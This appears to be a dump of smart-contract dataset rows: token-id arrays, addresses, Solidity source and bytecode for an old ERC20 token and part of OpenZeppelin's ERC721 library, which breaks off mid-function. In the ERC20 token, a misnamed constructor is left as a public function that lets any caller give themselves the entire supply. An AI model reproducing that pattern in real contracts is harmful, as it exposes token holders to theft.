[ 101, 1014, 2595, 2683, 21084, 19481, 19961, 2278, 2509, 2063, 21486, 16576, 2850, 2581, 2620, 12521, 2094, 2683, 27531, 2050, 2475, 2278, 2683, 2620, 2546, 2581, 2620, 23352, 27531, 2850, 2546, 2692, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1022, 1025, 3206, 19204, 1063, 1013, 1013, 19204, 100, 100, 1989, 100, 100, 1763, 100, 2270, 100, 100, 1910, 1854, 1740, 100, 2131, 3334, 100, 100, 100, 1788, 1989, 1795, 100, 100, 21948, 6279, 22086, 1006, 1007, 1012, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 1013, 1013, 1013, 100, 100, 100, 100, 1035, 3954, 100, 1873, 19204, 1916, 100, 100, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1025, 1013, 1013, 100, 100, 100, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,134
0x9643e088aa17b5ba7fa8d5e93b58e7263b14e2a7
pragma solidity ^0.4.21 ; contract COLOMBIA_WINS { mapping (address => uint256) public balanceOf; string public name = " COLOMBIA_WINS " ; string public symbol = " COLWI " ; uint8 public decimals = 18 ; uint256 public totalSupply = 473305250268543000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058209bfab40e4623bca2ed0670dd5331cd27a2302eeb39fcb497bb9feec5583b33070029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 2509, 2063, 2692, 2620, 2620, 11057, 16576, 2497, 2629, 3676, 2581, 7011, 2620, 2094, 2629, 2063, 2683, 2509, 2497, 27814, 2063, 2581, 23833, 2509, 2497, 16932, 2063, 2475, 2050, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 3206, 7379, 1035, 5222, 1063, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 5703, 11253, 1025, 5164, 2270, 2171, 1027, 1000, 7379, 1035, 5222, 1000, 1025, 5164, 2270, 6454, 1027, 1000, 8902, 9148, 1000, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1027, 4700, 22394, 2692, 25746, 12376, 23833, 27531, 23777, 8889, 8889, 8889, 8889, 8889, 8889, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,135
0x9645304626945a26d29cFa4069ED2F018DC4115E
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } 